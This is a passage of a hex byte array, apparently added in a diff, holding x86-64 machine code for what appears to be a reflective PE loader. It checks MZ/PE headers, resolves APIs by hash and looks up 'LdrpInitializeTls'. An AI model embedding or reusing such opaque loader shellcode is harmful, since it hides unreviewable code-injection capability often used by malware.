0x41, 0xba, 0x01, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x49, 0x89, 0xfb, 0x48, 0x89, 0xdf, 0x49, 0x39, + 0xc2, 0x48, 0x8b, 0x54, 0x24, 0x48, 0x0f, 0x85, 0x62, 0xff, 0xff, 0xff, 0x41, 0xba, 0x01, 0x00, + 0x00, 0x00, 0x31, 0xf6, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x45, 0x31, 0xdb, 0x4c, 0x8d, 0x0c, 0x37, + 0x49, 0x39, 0xd1, 0x0f, 0x83, 0x91, 0x00, 0x00, 0x00, 0x49, 0x89, 0xf9, 0x49, 0xf7, 0xd1, 0x49, + 0x89, 0xd6, 0x49, 0x29, 0xf6, 0x4d, 0x01, 0xce, 0x49, 0x39, 0xd6, 0x0f, 0x83, 0x87, 0x02, 0x00, + 0x00, 0x49, 0x89, 0xf1, 0x49, 0xf7, 0xd1, 0x49, 0x01, 0xd1, 0x4d, 0x29, 0xd9, 0x49, 0x39, 0xd1, + 0x0f, 0x83, 0x7e, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x5f, 0x01, 0x48, 0x8b, 0x54, 0x24, 0x40, 0x46, + 0x8a, 0x0c, 0x0a, 0x46, 0x38, 0x0c, 0x32, 0x76, 0x11, 0x48, 0x8d, 0x1c, 0x3e, 0x48, 0xff, 0xc3, + 0x49, 0x89, 0xda, 0x4d, 0x29, 0xda, 0x31, 0xf6, 0xeb, 0x2f, 0x75, 0x22, 0x48, 0xff, 0xc6, 0x4c, + 0x39, 0xd6, 0x48, 0x89, 0xf2, 0x41, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x49, 0x0f, 0x44, 0xd1, 0x49, + 0x0f, 0x45, 0xf1, 0x48, 0x89, 0xf3, 0x48, 0x01, 0xfb, 0x48, 0x89, 0xd6, 0xeb, 0x0b, 0x41, 0xba, + 0x01, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x49, 0x89, 0xfb, 0x48, 0x89, 0xdf, 0x49, 0x39, 0xc2, 0x48, + 0x8b, 0x54, 0x24, 0x48, 0x0f, 0x85, 0x62, 0xff, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x17, 0x48, + 0x83, 0xf8, 0x04, 0x48, 0x8b, 0x7c, 0x24, 0x70, 0x73, 0x20, 0x45, 0x31, 0xd2, 0x31, 0xd2, 0x48, + 0x8b, 0x74, 0x24, 0x40, 0xeb, 0x5b, 0x45, 0x31, 0xdb, 0x45, 0x31, 0xd2, 0x31, 0xc0, 0x4c, 0x8b, + 0x74, 0x24, 0x48, 0x48, 0x8b, 0x7c, 0x24, 0x70, 0xeb, 0x6e, 0x49, 0x89, 0xc1, 0x49, 0x83, 0xe1, + 0xfc, 0x45, 0x31, 0xd2, 0x31, 0xd2, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x44, 0x8a, 0x1c, 0x16, 0x48, + 0x8b, 0x74, 0x24, 0x40, 0x40, 0x8a, 0x74, 0x16, 0x01, 0x4d, 0x0f, 0xab, 0xda, 0x49, 0x0f, 0xab, + 0xf2, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x44, 0x8a, 0x5c, 0x16, 0x02, 0x4d, 0x0f, 0xab, 0xda, 0x44, + 0x8a, 0x5c, 0x16, 0x03, 0x4d, 0x0f, 0xab, 0xda, 0x48, 0x83, 0xc2, 0x04, 0x49, 0x39, 0xd1, 0x75, + 0xca, 0x41, 0x89, 0xc1, 0x41, 0x83, 0xe1, 0x03, 0x74, 0x16, 0x48, 0x01, 0xf2, 0x45, 0x31, 0xdb, + 0x42, 0x8a, 0x34, 0x1a, 0x49, 0x0f, 0xab, 0xf2, 0x49, 0xff, 0xc3, 0x4d, 0x39, 0xd9, 0x75, 0xf0, + 0x45, 0x31, 0xdb, 0x4c, 0x8b, 0x74, 0x24, 0x48, 0x4c, 0x89, 0xf6, 0x48, 0x29, 0xc6, 0x48, 0x8b, + 0x94, 0x24, 0x98, 0x00, 0x00, 0x00, 0x48, 0x01, 0xd7, 0x31, 0xdb, 0x4c, 0x39, 0xd9, 0x4d, 0x89, + 0xde, 0x4c, 0x0f, 0x47, 0xf1, 0x4c, 0x39, 0xc1, 0x4c, 0x0f, 0x45, 0xf1, 0xba, 0x00, 0x00, 0x00, + 0x00, 0x4c, 0x0f, 0x45, 0xda, 0x48, 0x8b, 0x94, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x48, 0x01, 0xda, + 0x48, 0x83, 0xfa, 0x07, 0x0f, 0x87, 0xe3, 0xf2, 0xff, 0xff, 0x4c, 0x8b, 0x4c, 0x24, 0x50, 0x41, + 0x0f, 0xb6, 0x14, 0x11, 0x49, 0x0f, 0xa3, 0xd2, 0x73, 0x3d, 0x48, 0x8d, 0x14, 0x1f, 0x4d, 0x89, + 0xf7, 0x4c, 0x3b, 0x7c, 0x24, 0x48, 0x73, 0x3b, 0x4e, 0x8d, 0x0c, 0x3b, 0x49, 0x83, 0xf9, 0x07, + 0x0f, 0x87, 0xbb, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x64, 0x24, 0x40, 0x43, 0x8a, 0x2c, 0x3c, 0x4d, + 0x8d, 0x67, 0x01, 0x42, 0x3a, 0x2c, 0x3a, 0x4d, 0x89, 0xe7, 0x74, 0xd5, 0x49, 0x29, 0xc9, 0x4c, + 0x89, 0xcb, 0x48, 0xff, 0xc3, 0xeb, 0x05, 0x48, 0x03, 0x5c, 0x24, 0x48, 0x4c, 0x39, 0xc1, 0x75, + 0x94, 0xeb, 0x4c, 0x48, 0x89, 0xca, 0x49, 0x39, 0xd3, 0x73, 0x5f, 0x48, 0xff, 0xca, 0x48, 0x3b, + 0x54, 0x24, 0x48, 0x0f, 0x83, 0xa2, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x0c, 0x1a, 0x49, 0x83, 0xf9, + 0x08, 0x0f, 0x83, 0xa0, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x7c, 0x24, 0x40, 0x41, 0x8a, 0x2c, 0x17, + 0x4c, 0x8b, 0x7c, 0x24, 0x50, 0x43, 0x3a, 0x2c, 0x0f, 0x74, 0xcb, 0x48, 0x01, 0xc3, 0x4c, 0x39, + 0xc1, 0x0f, 0x85, 0x4e, 0xff, 0xff, 0xff, 0x49, 0x89, 0xf3, 0xe9, 0x2c, 0xff, 0xff, 0xff, 0x45, + 0x31, 0xdb, 0xe9, 0x24, 0xff, 0xff, 0xff, 0x31, 0xc0, 0x31, 0xd2, 0xeb, 0x20, 0x48, 0x8b, 0x84, + 0x24, 0x98, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x50, 0x48, 0x8b, 0x44, 0x24, 0x50, 0x8b, + 0x50, 0x08, 0x8b, 0x40, 0x0c, 0x48, 0x03, 0x84, 0x24, 0xe8, 0x00, 0x00, 0x00, 0x48, 0x81, 0xc4, + 0x18, 0x01, 0x00, 0x00, 0x5b, 0x5d, 0x5f, 0x5e, 0x41, 0x5c, 0x41, 0x5d, 0x41, 0x5e, 0x41, 0x5f, + 0xc3, 0x4c, 0x8d, 0x05, 0x60, 0xec, 0xff, 0xff, 0xeb, 0x34, 0x4c, 0x8d, 0x05, 0x1f, 0xed, 0xff, + 0xff, 0xeb, 0x13, 0x4c, 0x8d, 0x05, 0x16, 0xed, 0xff, 0xff, 0xeb, 0x16, 0x4c, 0x89, 0xc1, 0x4c, + 0x8d, 0x05, 0xfa, 0xeb, 0xff, 0xff, 0x4c, 0x89, 0xf2, 0xeb, 0x38, 0x4c, 0x8d, 0x05, 0x06, 0xec, + 0xff, 0xff, 0x48, 0x89, 0xd1, 0xeb, 0x27, 0x4c, 0x8d, 0x05, 0x12, 0xec, 0xff, 0xff, 0xba, 0x08, + 0x00, 0x00, 0x00, 0x4c, 0x89, 0xc9, 0xeb, 0x1b, 0x4c, 0x8d, 0x05, 0xf9, 0xec, 0xff, 0xff, 0x4c, + 0x89, 0xf1, 0xeb, 0x0f, 0x4c, 0x8d, 0x05, 0x05, 0xed, 0xff, 0xff, 0x4c, 0x89, 0xc9, 0x48, 0x8b, + 0x54, 0x24, 0x48, 0xe8, 0xb8, 0x0d, 0x00, 0x00, 0x0f, 0x0b, 0x4c, 0x8d, 0x05, 0x8f, 0xec, 0xff, + 0xff, 0xeb, 0xb3, 0x4c, 0x8d, 0x05, 0x9e, 0xec, 0xff, 0xff, 0x48, 0x89, 0xc1, 0x4c, 0x89, 0xd2, + 0xeb, 0xe1, 0x4c, 0x8d, 0x05, 0x8f, 0xec, 0xff, 0xff, 0x4c, 0x89, 0xd1, 0xeb, 0x98, 0x56, 0x48, + 0x81, 0xec, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x89, 0xd6, 0x4c, 0x89, 0xc2, 0xe8, 0x32, 0x00, 0x00, + 0x00, 0x48, 0x85, 0xc0, 0x74, 0x22, 0x31, 0xc9, 0x48, 0x81, 0xf9, 0x88, 0x00, 0x00, 0x00, 0x74, + 0x0a, 0xc6, 0x44, 0x0c, 0x28, 0x00, 0x48, 0xff, 0xc1, 0xeb, 0xed, 0x48, 0x8d, 0x4c, 0x24, 0x28, + 0x48, 0x89, 0x71, 0x30, 0xff, 0xd0, 0xeb, 0x02, 0x31, 0xc0, 0x48, 0x81, 0xc4, 0xb0, 0x00, 0x00, + 0x00, 0x5e, 0xc3, 0x56, 0x57, 0x53, 0x48, 0x83, 0xec, 0x70, 0x48, 0x85, 0xc9, 0x0f, 0x84, 0xca, + 0x01, 0x00, 0x00, 0x48, 0x89, 0xd7, 0x48, 0x89, 0xce, 0x48, 0x89, 0xd1, 0x66, 0xba, 0x0a, 0x00, + 0x45, 0x31, 0xc0, 0x66, 0x41, 0xb9, 0xec, 0x55, 0xe8, 0x0a, 0xed, 0xff, 0xff, 0x84, 0xc0, 0x74, + 0x0d, 0x48, 0x89, 0xf1, 0xe8, 0x6f, 0x02, 0x00, 0x00, 0xe9, 0xa1, 0x01, 0x00, 0x00, 0x48, 0x83, + 0x64, 0x24, 0x48, 0x00, 0x48, 0x83, 0x64, 0x24, 0x40, 0x00, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, + 0x48, 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x89, 0xf9, 0x66, 0xba, 0x0a, 0x00, 0x45, 0x31, 0xc0, + 0x66, 0x41, 0xb9, 0xab, 0x3f, 0xe8, 0xcd, 0xec, 0xff, 0xff, 0x48, 0x89, 0xf9, 0x66, 0xba, 0x0a, + 0x00, 0x45, 0x31, 0xc0, 0x84, 0xc0, 0x74, 0x63, 0x66, 0x41, 0xb9, 0xba, 0x47, 0xe8, 0xb5, 0xec, + 0xff, 0xff, 0xbb, 0x46, 0x00, 0x00, 0x00, 0x84, 0xc0, 0x75, 0x1b, 0x48, 0x89, 0xf9, 0x66, 0xba, + 0x0a, 0x00, 0x45, 0x31, 0xc0, 0x66, 0x41, 0xb9, 0xee, 0x42, 0xe8, 0x98, 0xec, 0xff, 0xff, 0x0f, + 0xb6, 0xd8, 0x48, 0x83, 0xc3, 0x43, 0x48, 0x8d, 0x54, 0x24, 0x50, 0xc7, 0x02, 0x74, 0x33, 0x44, + 0x8d, 0x66, 0xc7, 0x42, 0x04, 0x43, 0x09, 0x48, 0x8d, 0x7c, 0x24, 0x30, 0x41, 0xb8, 0x06, 0x00, + 0x00, 0x00, 0x48, 0x89, 0xf9, 0xe8, 0x1b, 0xec, 0xff, 0xff, 0x48, 0x89, 0x5f, 0x18, 0x48, 0xc7, + 0x47, 0x10, 0x06, 0x00, 0x00, 0x00, 0xe9, 0x91, 0x00, 0x00, 0x00, 0x66, 0x41, 0xb9, 0xd7, 0x3a, + 0xe8, 0x52, 0xec, 0xff, 0xff, 0x84, 0xc0, 0x74, 0x2e, 0x48, 0x8d, 0x54, 0x24, 0x50, 0xc7, 0x02, + 0x74, 0x33, 0x44, 0x8d, 0x66, 0xc7, 0x42, 0x04, 0x43, 0x09, 0x48, 0x8d, 0x7c, 0x24, 0x30, 0x41, + 0xb8, 0x06, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf9, 0xe8, 0xd8, 0xeb, 0xff, 0xff, 0x48, 0xc7, 0x47, + 0x10, 0x06, 0x00, 0x00, 0x00, 0xeb, 0x4d, 0x48, 0x89, 0xf9, 0x66, 0xba, 0x06, 0x00, 0x66, 0x41, + 0xb8, 0x03, 0x00, 0x45, 0x31, 0xc9, 0xe8, 0x0c, 0xec, 0xff, 0xff, 0x84, 0xc0, 0x0f, 0x84, 0xb4, + 0x00, 0x00, 0x00, 0x48, 0xb8, 0x44, 0x8d, 0x43, 0x09, 0x4c, 0x8d, 0x4c, 0x24, 0x48, 0x8d, 0x54, + 0x24, 0x50, 0x48, 0x89, 0x02, 0xc6, 0x42, 0x08, 0x38, 0x48, 0x8d, 0x7c, 0x24, 0x30, 0x41, 0xb8, + 0x09, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf9, 0xe8, 0x89, 0xeb, 0xff, 0xff, 0x48, 0xc7, 0x47, 0x10, + 0x09, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x47, 0x18, 0x43, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x7c, 0x24, + 0x48, 0x48, 0x89, 0x7c, 0x24, 0x68, 0x48, 0x8b, 0x44, 0x24, 0x40, 0x48, 0x89, 0x44, 0x24, 0x60, + 0x48, 0x8b, 0x44, 0x24, 0x30, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x48, 0x89, 0x4c, 0x24, 0x58, 0x48, + 0x89, 0x44, 0x24, 0x50, 0x48, 0x85, 0xff, 0x74, 0x44, 0x48, 0x89, 0xf1, 0xe8, 0xd0, 0x02, 0x00, + 0x00, 0x48, 0x89, 0xc6, 0x31, 0xc0, 0x48, 0x85, 0xf6, 0x74, 0x34, 0x48, 0x85, 0xd2, 0x74, 0x2f, + 0x4c, 0x8d, 0x44, 0x24, 0x50, 0x49, 0x8b, 0x40, 0x10, 0x48, 0x89, 0x44, 0x24, 0x20, 0x41, 0xb9, + 0x10, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf1, 0xe8, 0xa6, 0xeb, 0xff, 0xff, 0x48, 0x83, 0xf8, 0xff, + 0x74, 0x0b, 0x48, 0x29, 0xfe, 0x48, 0x01, 0xc6, 0x48, 0x89, 0xf0, 0xeb, 0x02, 0x31, 0xc0, 0x48, + 0x83, 0xc4, 0x70, 0x5b, 0x5f, 0x5e, 0xc3, 0x48, 0x89, 0xf9, 0x66, 0xba, 0x06, 0x00, 0x66, 0x41, + 0xb8, 0x02, 0x00, 0x45, 0x31, 0xc9, 0xe8, 0x3c, 0xeb, 0xff, 0xff, 0x84, 0xc0, 0x74, 0x3a, 0x48, + 0xb8, 0x48, 0x8b, 0x79, 0x30, 0x45, 0x8d, 0x66, 0x01, 0x48, 0x8d, 0x54, 0x24, 0x50, 0x48, 0x89, + 0x02, 0x48, 0x8d, 0x7c, 0x24, 0x30, 0x41, 0xb8, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf9, 0xe8, + 0xc1, 0xea, 0xff, 0xff, 0x48, 0xc7, 0x47, 0x10, 0x08, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x47, 0x18, + 0x49, 0x00, 0x00, 0x00, 0xe9, 0x33, 0xff, 0xff, 0xff, 0x48, 0x89, 0xf9, 0x66, 0xba, 0x06, 0x00, + 0x66, 0x41, 0xb8, 0x01, 0x00, 0x45, 0x31, 0xc9, 0xe8, 0xea, 0xea, 0xff, 0xff, 0x84, 0xc0, 0x0f, + 0x84, 0x17, 0xff, 0xff, 0xff, 0x31, 0xdb, 0x81, 0x3f, 0xfc, 0x5d, 0x00, 0x00, 0x0f, 0x92, 0xc3, + 0x48, 0xb8, 0x41, 0xb8, 0x09, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x48, 0x8d, 0x54, 0x24, 0x50, 0x48, + 0x89, 0x02, 0x66, 0xc7, 0x42, 0x08, 0x44, 0x24, 0xc6, 0x42, 0x0a, 0x38, 0x48, 0x8d, 0x7c, 0x24, + 0x30, 0x41, 0xb8, 0x0b, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf9, 0xe8, 0x56, 0xea, 0xff, 0xff, 0x48, + 0xc7, 0x47, 0x10, 0x0b, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x04, 0x9d, 0x23, 0x00, 0x00, 0x00, 0x48, + 0x89, 0x47, 0x18, 0xe9, 0xc4, 0xfe, 0xff, 0xff, 0x56, 0x57, 0x53, 0x48, 0x83, 0xec, 0x50, 0x48, + 0x89, 0xce, 0x48, 0xb8, 0x4c, 0x64, 0x72, 0x70, 0x49, 0x6e, 0x69, 0x74, 0x48, 0x8d, 0x54, 0x24, + 0x3e, 0x48, 0x89, 0x02, 0x48, 0xb8, 0x69, 0x61, 0x6c, 0x69, 0x7a, 0x65, 0x54, 0x6c, 0x48, 0x89, + 0x42, 0x08, 0x66, 0xc7, 0x42, 0x10, 0x73, 0x00, 0x41, 0xb8, 0x12, 0x00, 0x00, 0x00, 0xe8, 0x21, + 0x01, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0x66, 0xc7, 0x02, 0x4c, 0x8d, 0xc6, 0x42, 0x02, + 0x05, 0x48, 0x89, 0x44, 0x24, 0x20, 0x41, 0xb8, 0x03, 0x00, 0x00, 0x00, 0x41, 0xb9, 0x07, 0x00, + 0x00, 0x00, 0x48, 0x89, 0xf1, 0xe8, 0x8b, 0x01, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0xe1, + 0x00, 0x00, 0x00, 0x48, 0x89, 0xc7, 0x48, 0x01, 0xf7, 0x4c, 0x8d, 0x44, 0x24, 0x2f, 0x41, 0xc6, + 0x00, 0xe8, 0x48, 0xc7, 0x44, 0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0xba, 0x30, 0x00, 0x00, 0x00, + 0x41, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf9, 0xe8, 0x34, 0xea, 0xff, 0xff, 0x48, 0x83, + 0xf8, 0xff, 0x0f, 0x84, 0xac, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc3, 0x48, 0x8d, 0x0c, 0x38, 0x48, + 0x83, 0xc1, 0x05, 0x48, 0xc7, 0x44, 0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x44, 0x24, + 0x2f, 0xba, 0x30, 0x00, 0x00, 0x00, 0x41, 0xb9, 0x01, 0x00, 0x00, 0x00, 0xe8, 0x01, 0xea, 0xff, + 0xff, 0x48, 0x83, 0xf8, 0xff, 0x74, 0x7d, 0x48, 0x01, 0xfb, 0x48, 0x8d, 0x0c, 0x18, 0x48, 0x83, + 0xc1, 0x05, 0x48, 0x89, 0xc2, 0x48, 0x01, 0xda, 0x8b, 0x44, 0x18, 0x06, 0x83, 0xc0, 0x05, 0x48, + 0x98, 0x48, 0x01, 0xc2, 0x48, 0x83, 0xc2, 0x05, 0x4c, 0x8d, 0x44, 0x24, 0x30, 0x49, 0x89, 0x08, + 0x41, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf1, 0xe8, 0x52, 0x02, 0x00, 0x00, 0x48, 0x85, + 0xc0, 0x74, 0x41, 0x48, 0x89, 0xc7, 0x48, 0x89, 0xf1, 0xe8, 0xb3, 0x00, 0x00, 0x00, 0x48, 0x89, + 0xc1, 0x31, 0xc0, 0x48, 0x85, 0xc9, 0x74, 0x2e, 0x48, 0x85, 0xd2, 0x74, 0x29, 0x48, 0x01, 0xca, + 0x48, 0x39, 0xd7, 0x73, 0x21, 0x48, 0x89, 0xf8, 0x0f, 0xb7, 0x10, 0x81, 0xfa, 0x90, 0x90, 0x00, + 0x00, 0x74, 0x1b, 0x81, 0xfa, 0xcc, 0xcc, 0x00, 0x00, 0x74, 0x13, 0x48, 0x83, 0xc0, 0xfe, 0x48, + 0x39, 0xc8, 0x77, 0xe4, 0x31, 0xc0, 0x48, 0x83, 0xc4, 0x50, 0x5b, 0x5f, 0x5e, 0xc3, 0x48, 0x83, + 0xc0, 0x02, 0xeb, 0xf2, 0x41, 0x56, 0x56, 0x57, 0x53, 0x48, 0x83, 0xec, 0x38, 0x4c, 0x89, 0xc7, + 0x48, 0x89, 0xd3, 0x48, 0x89, 0xce, 0x48, 0x8d, 0x54, 0x24, 0x32, 0xc7, 0x02, 0x2e, 0x72, 0x64, + 0x61, 0x66, 0xc7, 0x42, 0x04, 0x74, 0x61, 0x41, 0xb8, 0x06, 0x00, 0x00, 0x00, 0xe8, 0x46, 0xeb, + 0xff, 0xff, 0x49, 0x89, 0xc6, 0x31, 0xc0, 0x4d, 0x85, 0xf6, 0x74, 0x2b, 0x48, 0x85, 0xd2, 0x74, + 0x26, 0x48, 0x89, 0x7c, 0x24, 0x20, 0x4c, 0x89, 0xf1, 0x49, 0x89, 0xd8, 0x49, 0x89, 0xf9, 0xe8, + 0x1e, 0xe9, 0xff, 0xff, 0x48, 0x83, 0xf8, 0xff, 0x74, 0x0b, 0x49, 0x01, 0xc6, 0x49, 0x29, 0xf6, + 0x4c, 0x89, 0xf0, 0xeb, 0x02, 0x31, 0xc0, 0x48, 0x83, 0xc4, 0x38, 0x5b, 0x5f, 0x5e, 0x41, 0x5e, + 0xc3, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8d, 0x54, 0x24, 0x23, 0xc7, 0x02, 0x2e, 0x74, 0x65, 0x78, + 0xc6, 0x42, 0x04, 0x74, 0x41, 0xb8, 0x05, 0x00, 0x00, 0x00, 0xe8, 0xe9, 0xea, 0xff, 0xff, 0x90, + 0x48, 0x83, 0xc4, 0x28, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x56, 0x57, 0x55, + 0x53, 0x48, 0x83, 0xec, 0x78, 0x4c, 0x89, 0xce, 0x4c, 0x89, 0xc3, 0x48, 0x89, 0x54, 0x24, 0x48, + 0x49, 0x89, 0xcd, 0xe8, 0xb9, 0xff, 0xff, 0xff, 0x49, 0x89, 0xc7, 0x31, 0xc0, 0x48, 0x83, 0xfb, + 0x0c, 0x0f, 0x87, 0x28, 0x01, 0x00, 0x00, 0x4d, 0x85, 0xff, 0x0f, 0x84, 0x1f, 0x01, 0x00, 0x00, + 0x49, 0x89, 0xd4, 0x48, 0x85, 0xd2, 0x0f, 0x84, 0x13, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x84, 0x24, + 0xe0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x40, 0x31, 0xc0, 0x48, 0x83, 0xf8, 0x10, 0x74, + 0x0a, 0xc6, 0x44, 0x04, 0x50, 0x00, 0x48, 0xff, 0xc0, 0xeb, 0xf0, 0x48, 0x8d, 0x4c, 0x24, 0x50, + 0x48, 0x8b, 0x54, 0x24, 0x48, 0x49, 0x89, 0xd8, 0xe8, 0xd8, 0xe7, 0xff, 0xff, 0x48, 0x8d, 0x3c, + 0x1c, 0x48, 0x83, 0xc7, 0x50, 0x41, 0xbe, 0x10, 0x00, 0x00, 0x00, 0x49, 0x29, 0xde, 0x48, 0x8d, + 0x43, 0x04, 0x48, 0x89, 0x44, 0x24, 0x70, 0x4c, 0x89, 0xf8, 0x4c, 0x01, 0xe0, 0x48, 0x89, 0x44, + 0x24, 0x68, 0x4c, 0x89, 0x6c, 0x24, 0x60, 0x4c, 0x01, 0x6c, 0x24, 0x40, 0x31, 0xc0, 0x48, 0x89, + 0x44, 0x24, 0x38, 0x48, 0x89, 0x5c, 0x24, 0x20, 0x4c, 0x89, 0xf9, 0x4c, 0x89, 0xe2, 0x4c, 0x8b, + 0x44, 0x24, 0x48, 0x49, 0x89, 0xd9, 0xe8, 0x17, 0xe8, 0xff, 0xff, 0x48, 0x83, 0xf8, 0xff, 0x0f, + 0x84, 0x85, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc5, 0x41, 0x8d, 0x04, 0x37, 0x01, 0xe8, 0x48, 0x8b, + 0x4c, 0x24, 0x40, 0x29, 0xc1, 0x89, 0x4c, 0x24, 0x34, 0x31, 0xc0, 0x49, 0x39, 0xc6, 0x74, 0x09, + 0xc6, 0x04, 0x07, 0x00, 0x48, 0xff, 0xc0, 0xeb, 0xf2, 0x41, 0xb8, 0x04, 0x00, 0x00, 0x00, 0x48, + 0x89, 0xf9, 0x48, 0x8d, 0x54, 0x24, 0x34, 0xe8, 0x49, 0xe7, 0xff, 0xff, 0x4d, 0x8d, 0x2c, 0x2f, + 0x48, 0x8b, 0x44, 0x24, 0x70, 0x48, 0x89, 0x44, 0x24, 0x20, 0xba, 0x10, 0x00, 0x00, 0x00, 0x41, + 0xb9, 0x10, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xe9, 0x4c, 0x8d, 0x44, 0x24, 0x50, 0xe8, 0xb0, 0xe7, + 0xff, 0xff, 0x48, 0x83, 0xf8, 0xff, 0x75, 0x18, 0x48, 0x01, 0xf5, 0x49, 0x29, 0xec, 0x76, 0x1a, + 0x49, 0x01, 0xef, 0x4c, 0x3b, 0x7c, 0x24, 0x68, 0x0f, 0x86, 0x65, 0xff, 0xff, 0xff, 0xeb, 0x0a, + 0x4c, 0x2b, 0x6c, 0x24, 0x60, 0x4c, 0x89, 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x48, + 0x83, 0xc4, 0x78, 0x5b, 0x5d, 0x5f, 0x5e, 0x41, 0x5c, 0x41, 0x5d, 0x41, 0x5e, 0x41, 0x5f, 0xc3, + 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x56, 0x57, 0x55, 0x53, 0x48, 0x83, 0xec, 0x38, + 0x4c, 0x89, 0xce, 0x4c, 0x89, 0xc7, 0x48, 0x89, 0xd3, 0xe8, 0x53, 0xfe, 0xff, 0xff, 0x45, 0x31, + 0xf6, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x87, 0x00, 0x00, 0x00, 0x49, 0x89, 0xd4, 0x48, 0x85, 0xd2, + 0x74, 0x7f, 0x49, 0x89, 0xc7, 0x49, 0x89, 0xc5, 0x48, 0x8d, 0x6c, 0x24, 0x37, 0xc6, 0x45, 0x00, + 0xe8, 0x4d, 0x01, 0xe7, 0x48, 0xc1, 0xe6, 0x03, 0x45, 0x31, 0xf6, 0x48, 0xc7, 0x44, 0x24, 0x20, + 0x01, 0x00, 0x00, 0x00, 0x41, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xe9, 0x4c, 0x89, 0xe2, + 0x49, 0x89, 0xe8, 0xe8, 0x0a, 0xe7, 0xff, 0xff, 0x48, 0x83, 0xf8, 0xff, 0x74, 0x43, 0x4a, 0x8d, + 0x0c, 0x28, 0x89, 0xda, 0x29, 0xca, 0x46, 0x8b, 0x44, 0x28, 0x01, 0x41, 0x83, 0xc0, 0x05, 0x41, + 0x39, 0xd0, 0x75, 0x14, 0x31, 0xd2, 0x48, 0x39, 0xd6, 0x74, 0x23, 0x4c, 0x8d, 0x42, 0x08, 0x48, + 0x39, 0x0c, 0x17, 0x4c, 0x89, 0xc2, 0x75, 0xee, 0x48, 0x8d, 0x48, 0x01, 0x49, 0x29, 0xcc, 0x76, + 0x10, 0x49, 0x01, 0xc5, 0x49, 0xff, 0xc5, 0x4d, 0x39, 0xfd, 0x76, 0x9f, 0xeb, 0x03, 0x49, 0x89, + 0xce, 0x4c, 0x89, 0xf0, 0x48, 0x83, 0xc4, 0x38, 0x5b, 0x5d, 0x5f, 0x5e, 0x41, 0x5c, 0x41, 0x5d, + 0x41, 0x5e, 0x41, 0x5f, 0xc3, 0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x89, 0xce, 0xe8, 0x13, 0xe6, + 0xff, 0xff, 0x48, 0x89, 0xf0, 0x48, 0x83, 0xc4, 0x20, 0x5e, 0xc3, 0x31, 0xc0, 0x45, 0x31, 0xc9, + 0x4d, 0x39, 0xc8, 0x74, 0x18, 0x46, 0x0f, 0xb6, 0x14, 0x09, 0x46, 0x0f, 0xb6, 0x1c, 0x0a, 0x49, + 0xff, 0xc1, 0x45, 0x38, 0xda, 0x74, 0xe9, 0x45, 0x29, 0xda, 0x44, 0x89, 0xd0, 0xc3, 0x41, 0x57, + 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x56, 0x57, 0x55, 0x53, 0x48, 0x81, 0xec, 0xb8, 0x02, 0x00, + 0x00, 0x66, 0x81, 0x39, 0x4d, 0x5a, 0x0f, 0x85, 0x74, 0x05, 0x00, 0x00, 0x48, 0x89, 0xce, 0x48, + 0x63, 0x49, 0x3c, 0x81, 0x3c, 0x31, 0x50, 0x45, 0x00, 0x00, 0x0f, 0x85, 0x60, 0x05, 0x00, 0x00, + 0x48, 0x89, 0xd3, 0x48, 0x89, 0xc8, 0x48, 0x01, 0xf0, 0x48, 0x89, 0x44, 0x24, 0x20, 0x0f, 0xb7, + 0x78, 0x14, 0xb9, 0x55, 0x95, 0xdb, 0x6d, 0x4c, 0x89, 0x4c, 0x24, 0x70, 0x4c, 0x89, 0x44, 0x24, + 0x68, 0xe8, 0x28, 0xe7, 0xff, 0xff, 0x49, 0x89, 0xc6, 0xb9, 0xed, 0xb0, 0xda, 0x1e, 0xe8, 0x1b, + 0xe7, 0xff, 0xff, 0x48, 0x89, 0x44, 0x24, 0x28, 0x4c, 0x89, 0x74, 0x24, 0x50, 0x4d, 0x85, 0xf6, + 0x0f, 0x84, 0x1a, 0x05, 0x00, 0x00, 0x48, 0x83, 0x7c, 0x24, 0x28, 0x00, 0x0f, 0x84, 0x0e, 0x05, + 